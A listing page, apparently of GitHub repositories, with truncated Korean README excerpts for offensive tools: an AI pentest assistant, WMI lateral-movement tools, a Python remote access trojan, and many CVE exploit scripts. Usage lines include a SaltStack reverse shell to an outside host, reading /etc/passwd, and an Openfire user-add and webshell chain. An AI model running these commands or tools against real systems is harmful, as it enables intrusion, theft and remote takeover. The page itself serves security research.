pentest-muse-cli

Pentest Muse Pentest Muse는 사이버보안 전문가를 위한 AI 어시스턴트입니다. 침투 테스터가 아이디어를 브레인스토밍하고, 페이로드를 작성하고, 코드를 분석하고, 정찰을 수행하는 데 도움을 줄 수 있습니다. 또한 작업을 수행하고, 명령줄 코드를 실행하며, 복잡한 작업을 반복적으로 해결할 수 있습니다. Pentest Muse 웹 앱 이 명령줄 도구 외에도 Pentest Muse 웹 애플리케이션을 소개하게 되어 기쁩니다! 웹 앱은 최신 온라인 정보에 접근할 수 있으며, 펜테스팅 작업에 좋은 AI 어시스턴트가 될...

CIMplant

CIMplant WMImplant의 C 포트로, CIM 또는 WMI를 사용하여 원격 시스템을 쿼리합니다. 제공된 자격 증명이나 현재 사용자 세션을 사용할 수 있습니다. 참고: 일부 명령은 PowerShell을 WMI와 함께 사용하며, --show-commands 명령에서 로 표시됩니다. 소개 CIMplant는 @christruncer의 WMImplant를 C으로 재작성하고 확장한 것입니다. 이를 통해 원격 시스템에 대한 데이터 수집, 명령 실행, 데이터 유출 등을 수행할 수 있습니다. 이 도구는 WMIWindows...

CVE-2021-25646-exp

CVE-2021-25646-exp Apache druid CVE-2021-25646 원격 코드 실행 취약점 탐지, 이용 도구 도메인 또는 IP:포트를 입력하면 취약점 탐지 가능 취약점이 탐지된 대상에 대해 명령 실행 이용 가능 단일 대상 지원 문서에서 줄 단위로 여러 대상 읽기 지원 （실습장 시연） 취약점 탐지 취약점 이용, id 명령 실행 리버스 셸 리버스 셸 명령은 큰따옴표로 묶어야 합니다. 그렇지 않으면 오류가 발생합니다. 약간의 지연 후, 성공적으로 리버스 셸 획득...

CVE-2019-19781

CVE-2019-19781 Citrix ADC Netscaler가 CVE-2019-19781에 취약한지 테스트하는 간단한 POC 사용법 : python 기본적으로 tor 기본 포트 -- 127.0.0.1:9050 PySocks, requests 및 urllib3가 필요합니다. 보안 권고 https://support.citrix.com/article/CTX267027...

struts-pwn_CVE-2017-9805

struts-pwn - CVE-2017-9805 익스플로잇 Apache Struts CVE-2017-9805용 익스플로잇 사용법 단일 URL에 취약점이 존재하는지 확인합니다. python struts-pwn.py --url 'http://example.com/struts2-rest-showcase/orders/3' URL 목록에 취약점이 존재하는지 확인합니다. python struts-pwn.py --list 'urls.txt' 단일 URL을 익스플로잇합니다. python struts-pwn.py --exploit --url...

WMIHACKER

WMIHACKER（445 포트 불필요） 중국어 버전Chinese version 면책 고지: 이 프로젝트에 포함된 기술은 보안 학습 및 방어 목적으로만 사용되며, 불법 사용은 금지됩니다! 안티바이러스 소프트웨어를 우회하는 수평 이동 명령 실행 테스트 도구（445 포트 불필요） 소개: 일반적인 WMIEXEC, PSEXEC 도구의 명령 실행 방식은 서비스를 생성하거나 Win32Process.create를 호출하는 것입니다. 이러한 방법은 안티바이러스 소프트웨어에 100% 차단되었습니다. 그래서 우리는 WMIHACKER를 만들었습니다...

1Panel-CVE-2025-54424-

CVE-2025-54424 CVE-2025-54424: 1Panel 클라이언트 인증서 우회 RCE 취약점 통합 도구 스캔+익스플로잇 취약점 개요 1Panel은 오픈 소스의 현대적인 Linux 운영 관리 패널로, 웹 사이트 배포, 서버 관리 및 서비스 실행을 위한 그래픽 인터페이스를 제공합니다. 영향을 받는 버전에서 Agent 측 TLS 인증 정책은 tls.RequireAnyClientCert로 설정되어 있으며, 이는 인증서를 요구하지만 신뢰성을 검증하지 않습니다. 공격자는 자체 서명된 인증서로 TLS 검증을 우회하고, CN 필...

Apollo

Apollo Python으로 작성된 간단하고 가벼운 원격 접속 도구 Apollo는 Python 3.4+용 크로스 플랫폼Windows, Linux, FreeBSD 및 MacOS 원격 접속 도구입니다. 현재 기능은 매우 기본적이지만, 사후 침투 원격 코드 실행 및 클라이언트 시스템 정보를 수집하여 C&CCommand & Control 서버로 보고하는 것을 가능하게 합니다. 기능 여러 클라이언트를 동시에 제어 가능 크로스 플랫폼 Windows, Linux, FreeBSD 및 macOS AES-256 암호화 C2 및 D-H 키 교환 ...

CVE-2021-31761

CVE-2021-31761 설명 : Webmin의 실행 중인 프로세스 기능을 통해 반사형 크로스 사이트 스크립팅XSS 공격을 악용하여 원격 명령 실행RCE을 얻는 방법 테스트 버전 : Webmin 1.973 GitHub의 최신 버전 07/03/2021 공격 유형 : 원격 영향 : 원격 명령 실행 익스플로잇 코드 PoC : YouTube PoC : https://youtu.be/23VvUMu-28c 제품 공급업체 : https://www.webmin.com 추가 정보 : "Webmin은 Unix 계열 서버 및 서비스를 위한 웹 ...

cve-2022-29464

cve-2022-29464 면책 조항 스크립트는 학습 및 참고용으로만 제공되며, 타인의 웹사이트를 악의적으로 공격하지 마십시오. 법을 위반하거나 질서를 어지럽힐 경우 발생하는 모든 결과는 사용자 본인이 부담합니다. 기술에는 죄가 없으며, 작성자와는 무관합니다. 스크립트를 사용하는 것은 위 내용에 동의하는 것으로 간주됩니다! --Author:lowkey0808 사용 방법 usage: python3 -u url cve-2022-29464 optional arguments: -h, --help show this help messag...

CVE-2019-2725

CVE-2019-2725 CVE-2019-2725CNVD-C-2019-48814, WebLogic wls9-async 명령 반향 10.3.6 12.1.3 ResultBaseExec.java 테스트 defineClass에 사용되며, 악성 클래스를 base64에서 디코딩하여 코드를 실행합니다. 주로 편리함을 위한 것입니다 선택 사항. JDK7u21.java weblogic-2019-272512.1.3命令执行.txt의 xml을 생성합니다. jdk6을 사용하여 컴파일하세요. CVE-2019-2725.py 명령이 실행되는지 확인합니다...

CVE-2024-24590

ClearML 익스플로잇 이 저장소는 ClearML의 역직렬화 취약점에 대한 개념 증명 익스플로잇을 포함하고 있으며, 이를 통해 원격 명령 실행이 가능합니다. 이 익스플로잇은 악성 피클 아티팩트를 ClearML에 업로드하여 리버스 셸을 획득하는 방법을 보여줍니다. 사전 요구 사항 시작하기 전에 다음 요구 사항을 충족했는지 확인하세요: ClearML이 실행 중인 머신. Python 3.8 이상. clearml 라이브러리가 설치되어 있어야 합니다. pip를 사용하여 설치할 수 있습니다: pip install clearml...

CVE-2023-4596-Vulnerable-Exploit-and-Checker-Version

CVE-2023-4596 CVE-2023-4596용 PoC 스크립트, 임의 파일 업로드를 통한 인증되지 않은 원격 명령 실행을 수행하도록 만들어진 효율적인 Python 도구입니다. 리소스 설치 사용법 사용법 설치 git clone https://github.com/X-Projetion/CVE-2023-4596-Vulnerable-Exploit-and-Checker-Version && cd CVE-2023-4596-Vulnerable-Exploit-and-Checker-Version pip install -r...

KindaRails2Shell

KindaRails2Shell: CVE-2026-66066 Rails Active Storage/libvips 임의 파일 읽기 취약점에 대한 무의존성zero-dependency 단일 파일 개념 증명PoC이자 루프백 전용 Docker 실습 환경입니다. 또한 복구된 secretkeybase에서 위조된 이미지 variation과 명령 실행으로 이어지는 보안 권고의 조건부 권한 상승을 시연합니다. 영향을 받는 버전: Rails 7.2.0–7.2.3.1, 8.0.0–8.0.5, 8.1.0–8.1.3 수정된 버전: Rails 7.2.3....

SaltStack-Exp

SaltStack-Exp CVE-2020-11651&&CVE-2020-11652 EXP Exec-Master: python exp.py --exec-choose master --exec-cmd "whoami" Exec-Minions: python exp.py --exec-choose minions --exec-cmd "whoami" GetShell: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444 ReadFile: python exp.py --read /etc/passwd...

CVE-2024-7399-POC

CVE-2024-7399 CVE-2024-7399에 대한 익스플로잇입니다. 자세한 내용은 여기에서 확인할 수 있습니다: https://davidxbors.github.io/0xpages/posts/cve-2024-7399/. 사용법: python3 CVE-2024-7399.py https://localhost:7002/ --check python3 CVE-2024-7399.py https://localhost:7002/ --execute python3 CVE-2024-7399.py https://localhost:7002/...

CVE-2018-2628

CVE-2018-2628 0x01 Nessus 스캔 0x02 K8 Tools GetShell 0x03 CMD 쿼리 사용 방법: python cve-2018-2628.py set url :http://xx.xx.xx.xx:8001/beawlsinternal/wlscmd.jsp cmd : whoami win-xxx8cb989qh\administrator cmd : net user \WIN-XXX8CB989QH 的用户帐户...

CVE-2023-32315-Openfire-Bypass

CVE-2023-32315 0x01 반환된 JSESSIONID와 csrftoken 획득, 요청 패키지 구성하여 사용자 추가 JSESSIONID, csrftoken 대체 cd CVE-2023-32315-Openfire-Bypass/scanall go mod tidy go run main.go -u http://openfire.com:9090 0x02 플러그인 컴파일 및 설치 mvn clean package 또는 릴리즈에서 플러그인 다운로드 0x03 플러그인 업로드 0x04 webshel 획득 0x05 명령 실행...

CVE-2022-30190

CVE-2022-30190 - Microsoft 지원 진단 도구 소개 이 스크립트는 Microsoft Office 문서를 생성하여 원격으로 코드를 실행하도록 시도합니다. 설치 git clone https://github.com/joshuavanderpoll/CVE-2022-30190.git cd CVE-2022-30190 python3 CVE-2022-30190.py --help 옵션 usage: CVE-2022-30190.py -h --html HTML --cmd CMD --downexec --downloadurl...

fortios-auth-bypass-exploit-CVE-2024-55591

CVE-2024-55591 Fortinet FortiOS 인증 우회 취약점 익스플로잇 설명 이 익스플로잇을 사용하면 인증을 우회하고 명령을 실행할 수 있습니다. 사용법 sysirq@sysirq-machine:/Work/Fortinet/FortiGate7016/CVE-2024-55591$ python3 exp.py usage: exp.py -h --target TARGET --port PORT --username USERNAME --cmd CMD exp.py: error: the following arguments are...